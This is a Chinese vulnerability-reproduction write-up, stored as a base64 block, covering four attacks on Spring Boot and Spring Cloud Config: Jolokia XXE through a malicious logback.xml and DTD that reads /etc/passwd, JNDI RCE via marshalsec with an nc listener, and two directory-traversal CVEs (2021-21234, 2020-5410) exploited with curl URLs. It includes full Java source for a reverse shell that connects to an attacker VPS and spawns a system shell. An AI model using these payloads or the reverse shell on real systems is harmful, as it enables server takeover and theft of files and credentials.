Spring 漏洞复现

W1RPQ10KCiMjIDB4MDEJU3ByaW5nIEJvb3TphY3nva7kuI3lvZPkuYtYWEUKCuWmguaenOe9keermeWtmOWcqHJlbG9hZEJ5VVJM5qih5Z2X77yM5YiZ5Y+v5Lul5LuO5aSW6YOoVVJM6YeN5paw5Yqg6L295pel5b+X6K6w5b2V6YWN572u77yaCmBodHRwOi8vW+mdtuWcuuWcsOWdgF0vam9sb2tpYS9leGVjL2NoLnFvcy5sb2diYWNrLmNsYXNzaWM6TmFtZT1kZWZhdWx0LFR5cGU9Y2gucW9zLmxvZ2JhY2suY2xhc3NpYy5qbXguSk1YQ29uZmlndXJhdG9yL3JlbG9hZEJ5VVJML2h0dHA6IS8hLzEyNy4wLjAuMSEvbG9nYmFjay54bWxgCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4L2Q2MWRiODYzM2M4NDgwNGRhMjQyNDIzNzg2ZjVlYzZjXzk1NDA0LnBuZykKCuWFtuS4rWAxMjcuMC4wLjFg5Y+v5pS55Li65L2gdnBz55qEaXDvvIzlvZPnhLbkvaDkuZ/opoHlnKh3ZWLmoLnnm67lvZXkuIvliJvlu7pgbG9nYmFjay54bWxg5paH5Lu277yM5YaF5a655aaC5LiL77yaCgpgYGAKPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+CjwhRE9DVFlQRSBhIFsgPCFFTlRJVFkgJSByZW1vdGUgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjgwL2ZpbGUuZHRkIj4lcmVtb3RlOyVpbnQ7XT4KPGE+JnRyaWNrOzwvYT4KYGBgCgrkuobop6N4eGXmvI/mtJ7nmoTmh4Llk6XlupTor6Xnn6XpgZPvvIzov5jopoHliJvlu7rlrp7kvZPlhoXlrprkuYnnmoTlpJbpg6jlrp7kvZPmlofku7ZgZmlsZS5kdGRg77yM5ZCM5qC35pS+5Zyod2Vi5qC555uu5b2V44CC5YaF5a655aaC5LiL77yaCgpgYGAKPCFFTlRJVFkgJSBkIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4KPCFFTlRJVFkgJSBpbnQgIjwhRU5USVRZIHRyaWNrIFNZU1RFTSAnOiVkOyc+Ij4KYGBgCgrlm6DkuLrmiJHlt7LlnKjmnKzlnLDmlL7nva7kuobov5nkuKTkuKrmlofku7bvvIzmiYDku6XnlKjnmoTmmK9sb2NhbGhvc3TvvIjljbMgMTI3LjAuMC4x77yJ44CC5pyJdnBz55qE5ZCM5a2m5pyA5aW955SodnBz5rWL6K+V44CC5pyA5ZCO6K6/6Zeu5LiK5pa555qE572R5Z2A77yM6Kem5Y+ReHhl5ryP5rSe77yaCgohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvNjUwOC8xMGQ0ZTU4ZTBjZWI4MWQyNWI0ZWUxODc0YzZlMGYyMF8yODA0Ny5wbmcpCgrlj6/op4Hlt7Lov5Tlm57kuoZgL2V0Yy9wYXNzd2QvYOS4reeahOaVj+aEn+S/oeaBr+OAggoKIyMgMHgwMglzcHJpbmcgYm9vdOmFjee9ruS4jeW9k+S5i1JDRQoK6YeN54K577ya5q2k5ryP5rSe5LuF5Zyo55uu5qCH5py65ZmoamRr54mI5pys5L2O5LqOdjEuOF8xOTHlj6/lpI3njrDvvIjpnbblnLrkuLo4dTE4Me+8iQoK5aSN546w6L+H56iL5Li76KaB5Y+C6ICD6Zu257uE5paH5bqT77yM6aaW5YWI5Zyo6Ieq5bex55qEdnBz55qE5b2T5YmN55uu5b2V77yIdGVzdO+8ieS4iueUqHB5dGhvbjPlvIDlkK93ZWLmnI3liqEKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4LzhmNGMxNDc0ZDk0ZGQ4MTdhODM3OGI0YTBkZTUzOWFlXzY4MzM2LnBuZykKCuWcqOebruW9leS4i+WIm+W7umphdmHmlofku7bvvIzlubbnvJbor5HlvpfliLBjbGFzc+aWh+S7tuOAgmBKTkRJT2JqZWN0LmphdmFg5paH5Lu25YaF5a655Zyo5LiL5pa557uZ5Ye644CCCgrnvJbor5Hor63lj6XvvJpgamF2YWMgLXNvdXJjZSAxLjUgLXRhcmdldCAxLjUgSk5ESU9iamVjdC5qYXZhYAoKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzY1MDgvYTlhY2M3YTVhZGI1YmFlODUzMzNiNzUxYmM3ZmNjNDFfMjc1MzUucG5nKQoK5p626K6+5oG25oSPIHJtaSDmnI3liqEKCmBqYXZhIC1jcCBtYXJzaGFsc2VjLTAuMC4zLVNOQVBTSE9ULWFsbC5qYXIgbWFyc2hhbHNlYy5qbmRpLlJNSVJlZlNlcnZlciBodHRwOi8vdnBzOjgwODAvI0pORElPYmplY3QgMTM4OWAKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4LzY2NGE1MjNhZDM2OTNiNDA0MjViZmZlOGRlN2NjZGNiXzc1ODUyLnBuZykKCuebkeWQrOerr+WPo++8jGBuYyAtbHZwIDQ0M2AKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4LzAwZDNkYjA0ZWI2NDQyY2RiNzdhY2UyNTE0ZDE0MTc2XzE2MDQzLnBuZykKCuacgOWQjuaJp+ihjGV4cO+8jOWNs+iuv+mXruivpXBvY++8iOmcgOimgeabtOaNouiHquW3sXZwc+eahGlw77yJOgoKYGBgCmh0dHBzOi8v44CQ6Z225Zy6dXJs44CRL2pvbG9raWEvZXhlYy9jaC5xb3MubG9nYmFjay5jbGFzc2ljOk5hbWU9ZGVmYXVsdCxUeXBlPWNoLnFvcy5sb2diYWNrLmNsYXNzaWMuam14LkpNWENvbmZpZ3VyYXRvci9yZWxvYWRCeVVSTC9odHRwOiEvIS95b3VyLXZwcy1pcCEvbG9nYmFjay54bWwKYGBgCgrlvojlv6vlsLHog73mlLbliLBzaGVsbO+8mgoKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzY1MDgvZTI1ZTkwODk4ZDMxMjkwOGYwZGJhMDBiMDc2OTA1YjRfODU3MDAucG5nKQoK6Iul5Ye6546w5Lul5LiL5oql6ZSZ77yM5pivamRr54mI5pys6L+H6auY55qE5Y6f5Zug44CC5Y+v5YiH5o2i5oiW5a6J6KOFMS4454mI5pys55qEamRr77yaCgohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvNjUwOC8zM2Y3ZGE4ZjZlNjBlODBmMmQwZDM1NjQ3NzFmYTEyM180NDAwOS5wbmcpCgpKTkRJT2JqZWN0LmphdmHvvIjor7foh6rooYzkv67mlLnku6PnoIHkuK3lj43lvLlzaGVsbOeahGlw5ZKM56uv5Y+j77yJ5paH5Lu25YaF5a6577yaCgpgYGAKLyoqCiAqICBqYXZhYyAtc291cmNlIDEuNSAtdGFyZ2V0IDEuNSBKTkRJT2JqZWN0LmphdmEKICoKICogIEJ1aWxkIEJ5IExhbmRHcmV5CiAqICovCgppbXBvcnQgamF2YS5pby5GaWxlOwppbXBvcnQgamF2YS5pby5JbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uT3V0cHV0U3RyZWFtOwppbXBvcnQgamF2YS5uZXQuU29ja2V0OwoKcHVibGljIGNsYXNzIEpORElPYmplY3QgewogICAgc3RhdGljIHsKICAgICAgICB0cnl7CiAgICAgICAgICAgIFN0cmluZyBpcCA9ICJ5b3VyLXZwcy1pcCI7CiAgICAgICAgICAgIFN0cmluZyBwb3J0ID0gIjQ0MyI7CiAgICAgICAgICAgIFN0cmluZyBweV9wYXRoID0gbnVsbDsKICAgICAgICAgICAgU3RyaW5nW10gY21kOwogICAgICAgICAgICBpZiAoIVN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbmRvd3MiKSkgewogICAgICAgICAgICAgICAgU3RyaW5nW10gcHlfZW52cyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9weXRob24iLCAiL2Jpbi9weXRob24zIiwgIi91c3IvYmluL3B5dGhvbiIsICIvdXNyL2Jpbi9weXRob24zIiwgIi91c3IvbG9jYWwvYmluL3B5dGhvbiIsICIvdXNyL2xvY2FsL2Jpbi9weXRob24zIn07CiAgICAgICAgICAgICAgICBmb3IoaW50IGkgPSAwOyBpIDwgcHlfZW52cy5sZW5ndGg7ICsraSkgewogICAgICAgICAgICAgICAgICAgIFN0cmluZyBweSA9IHB5X2VudnNbaV07CiAgICAgICAgICAgICAgICAgICAgaWYgKChuZXcgRmlsZShweSkpLmV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHB5X3BhdGggPSBweTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKHB5X3BhdGggIT0gbnVsbCkgewogICAgICAgICAgICAgICAgICAgIGlmICgobmV3IEZpbGUoIi9iaW4vYmFzaCIpKS5leGlzdHMoKSkgewogICAgICAgICAgICAgICAgICAgICAgICBjbWQgPSBuZXcgU3RyaW5nW117cHlfcGF0aCwgIi1jIiwgImltcG9ydCBwdHk7cHR5LnNwYXduKFwiL2Jpbi9iYXNoXCIpIn07CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgY21kID0gbmV3IFN0cmluZ1tde3B5X3BhdGgsICItYyIsICJpbXBvcnQgcHR5O3B0eS5zcGF3bihcIi9iaW4vc2hcIikifTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICgobmV3IEZpbGUoIi9iaW4vYmFzaCIpKS5leGlzdHMoKSkgewogICAgICAgICAgICAgICAgICAgICAgICBjbWQgPSBuZXcgU3RyaW5nW117Ii9iaW4vYmFzaCJ9OwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNtZCA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9zaCJ9OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGNtZCA9IG5ldyBTdHJpbmdbXXsiY21kLmV4ZSJ9OwogICAgICAgICAgICB9CiAgICAgICAgICAgIFByb2Nlc3MgcCA9IChuZXcgUHJvY2Vzc0J1aWxkZXIoY21kKSkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpOwogICAgICAgICAgICBTb2NrZXQgcyA9IG5ldyBTb2NrZXQoaXAsIEludGVnZXIucGFyc2VJbnQocG9ydCkpOwogICAgICAgICAgICBJbnB1dFN0cmVhbSBwaSA9IHAuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAgICAgSW5wdXRTdHJlYW0gcGUgPSBwLmdldEVycm9yU3RyZWFtKCk7CiAgICAgICAgICAgIElucHV0U3RyZWFtIHNpID0gcy5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgICAgICBPdXRwdXRTdHJlYW0gcG8gPSBwLmdldE91dHB1dFN0cmVhbSgpOwogICAgICAgICAgICBPdXRwdXRTdHJlYW0gc28gPSBzLmdldE91dHB1dFN0cmVhbSgpOwogICAgICAgICAgICB3aGlsZSghcy5pc0Nsb3NlZCgpKSB7CiAgICAgICAgICAgICAgICB3aGlsZShwaS5hdmFpbGFibGUoKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBzby53cml0ZShwaS5yZWFkKCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgd2hpbGUocGUuYXZhaWxhYmxlKCkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgc28ud3JpdGUocGUucmVhZCgpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdoaWxlKHNpLmF2YWlsYWJsZSgpID4gMCkgewogICAgICAgICAgICAgICAgICAgIHBvLndyaXRlKHNpLnJlYWQoKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzby5mbHVzaCgpOwogICAgICAgICAgICAgICAgcG8uZmx1c2goKTsKICAgICAgICAgICAgICAgIFRocmVhZC5zbGVlcCg1MEwpOwogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICBwLmV4aXRWYWx1ZSgpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBwLmRlc3Ryb3koKTsKICAgICAgICAgICAgcy5jbG9zZSgpOwogICAgICAgIH1jYXRjaCAoVGhyb3dhYmxlIGUpewogICAgICAgICAgICBlLnByaW50U3RhY2tUcmFjZSgpOwogICAgICAgIH0KICAgIH0KfQpgYGAKCiMjIDBYMDMJc3ByaW5nLWJvb3QtYWN0dWF0b3ItbG9ndmlldyDmlofku7bljIXlkKsoQ1ZFLTIwMjEtMjEyMzQpCgojIyMgMHgwMSDnroDku4sgIAoKU3ByaW5nIEJvb3TmmK/nlLFQaXZvdGFs5Zui6Zif5o+Q5L6b55qE5YWo5pawW+ahhuaetl0oaHR0cHM6Ly9iYWlrZS5iYWlkdS5jb20vaXRlbS/moYbmnrYvMTIxMjY2NynvvIzlhbborr7orqHnm67nmoTmmK/nlKjmnaVb566A5YyWXShodHRwczovL2JhaWtlLmJhaWR1LmNvbS9pdGVtL+eugOWMli8zMzc0NDE2KeaWsFtTcHJpbmddKGh0dHBzOi8vYmFpa2UuYmFpZHUuY29tL2l0ZW0vU3ByaW5nLzg1MDYxKeW6lOeUqOeahOWIneWni+aQreW7uuS7peWPiuW8gOWPkei/h+eoi+OAguivpeahhuaetuS9v+eUqOS6hueJueWumueahOaWueW8j+adpei/m+ihjOmFjee9ru+8jOS7juiAjOS9v+W8gOWPkeS6uuWRmOS4jeWGjemcgOimgeWumuS5ieagt+adv+WMlueahOmFjee9ruOAgumAmui/h+i/meenjeaWueW8j++8jFNwcmluZyBCb2906Ie05Yqb5LqO5Zyo6JOs5YuD5Y+R5bGV55qE5b+r6YCf5bqU55So5byA5Y+R6aKG5Z+fKHJhcGlkIGFwcGxpY2F0aW9uIGRldmVsb3BtZW50KeaIkOS4uumihuWvvOiAheOAggoKIyMjIDB4MDIg5ryP5rSe5qaC6L+wCgpzcHJpbmctYm9vdC1hY3R1YXRvci1sb2d2aWV3IOWcqOS4gOS4quW6k+S4rea3u+WKoOS6huS4gOS4queugOWNleeahOaXpeW/l+aWh+S7tuafpeeci+WZqOS9nOS4uiBzcHJpbmcgYm9vdCDmiafooYzlmajnq6/ngrnjgILlroPmmK8gbWF2ZW4g5YyF4oCcZXUuaGluc2NoOnNwcmluZy1ib290LWFjdHVhdG9yLWxvZ3ZpZXfigJ3jgILlnKggMC4yLjEzIOeJiOacrOS5i+WJjeeahCBzcHJpbmctYm9vdC1hY3R1YXRvci1sb2d2aWV3IOS4reWtmOWcqOebruW9lemBjeWOhua8j+a0nuOAguivpeW6k+eahOacrOi0qOaYr+mAmui/hyBhZG1pbu+8iHNwcmluZyBib290IOaJp+ihjOWZqO+8iUhUVFAg56uv54K55YWs5byA5pel5b+X5paH5Lu255uu5b2V44CC6KaB5p+l55yL55qE5paH5Lu25ZCN5ZKM5Z+65pys5paH5Lu25aS577yI55u45a+55LqO5pel5b+X5paH5Lu25aS55qC555uu5b2V77yJ6YO95Y+v5Lul6YCa6L+H6K+35rGC5Y+C5pWw5oyH5a6a44CC6Jm954S25qOA5p+l5LqG5paH5Lu25ZCN5Y+C5pWw5Lul6Ziy5q2i55uu5b2V6YGN5Y6G5pS75Ye777yI5Zug5q2kYGZpbGVuYW1lPS4uL3NvbWVmaWxlYCDlsIbkuI3otbfkvZznlKjvvInvvIzkvYbmsqHmnInlhYXliIbmo4Dmn6Xln7rmnKzmlofku7blpLnlj4LmlbDvvIzlm6DmraRgZmlsZW5hbWU9c29tZWZpbGUmYmFzZT0uLi9gIOWPr+S7peiuv+mXruaXpeW/l+iusOW9leWfuuebruW9leS5i+WklueahOaWh+S7tu+8ieOAguivpea8j+a0nuW3suWcqCAwLjIuMTMg54mI5Lit5L+u6KGl44CCMC4yLjEyIOeahOS7u+S9leeUqOaIt+mDveW6lOivpeiDveWkn+avq+aXoOmXrumimOWcsOi/m+ihjOabtOaWsO+8jOWboOS4uuivpeeJiOacrOS4reayoeacieWFtuS7luabtOaUueOAgumZpOS6huabtOaWsOaIluWIoOmZpOS+nei1lumhueS5i+Wklu+8jOayoeacieino+WGs+atpOa8j+a0nueahOaWueazleOAguS9huaYr++8jOWIoOmZpOi/kOihjOW6lOeUqOeoi+W6j+eahOeUqOaIt+Wvuei/kOihjOW6lOeUqOeoi+W6j+S4jemcgOimgeeahOS7u+S9leebruW9leeahOivu+WPluiuv+mXruadg+mZkOWPr+S7pemZkOWItuW9seWTjeOAguatpOWklu+8jOWPr+S7pemAmui/h+WcqOWPjeWQkeS7o+eQhuWQjumdoumDqOe9suW6lOeUqOeoi+W6j+adpemZkOWItuWvuSBsb2d2aWV3IOerr+eCueeahOiuv+mXruOAggoKIyMjIDB4MDMg5b2x5ZON54mI5pysCgo+IDAuMi4xMyDniYjmnKzkuYvliY3nmoQgU3ByaW5nIEJvb3QgQWN0dWF0b3IgTG9nIFZpZXcKCiMjIyAweDA0IOWkjeeOsAoK5Y+q6ZyA6KaB6K6/6Zeu77yaYOebruaghy9tYW5hZ2UvbG9nL3ZpZXc/ZmlsZW5hbWU95paH5Lu25ZCNJmJhc2U9Li4vYAohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvODE0LzVkNGIwMzgwOTk0Mjk3NTY5NGIzZDY2NWZkOTIyMmMyXzI2NjAzLnBuZykKCgoKIyMgMHgwNAlzcHJpbmcgY2xvdWQgY29uZmlnIHNlcnZlcuebruW9lemBjeWOhua8j+a0niBDVkUtMjAyMC01NDEwCgrmiZPlvIDnvZHnq5nvvIzkvb/nlKhwb2PlrozmiJDmlofku7bor7vlj5bvvJoKCmBgYApjdXJsICIxMjcuMC4wLjEvLi4lMjUyRi4uJTI1MkYuLiUyNTJGLi4lMjUyRi4uJTI1MkYuLiUyNTJGLi4lMjUyRi4uJTI1MkYuLiUyNTJGLi4lMjUyRi4uJTI1MkZldGMlMjUyRnBhc3N3ZCUyM2Zvby9kZXZlbG9wbWVudCIKYGBgCgrlpoLlm77vvJoKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4L2ZiYTQxNWIzODlhZDUyMmYyYTE2NGRhMTAxMTUyMzVmXzMxMDM2LnBuZykKCuivu2ZsYWfnmoRwb2PvvJoKCmBgYApodHRwOi8vW+mdtuWcunVybF0vLi4lMjUyRi4uJTI1MkYuLiUyNTJGLi4lMjUyRi4uJTI1MkYuLiUyNTJGLi4lMjUyRi4uJTI1MkYuLiUyNTJGLi4lMjUyRi4uJTI1MkZmbGFnLnR4dCUyM2Zvby9kZXZlbG9wbWVudCUyMgpgYGA=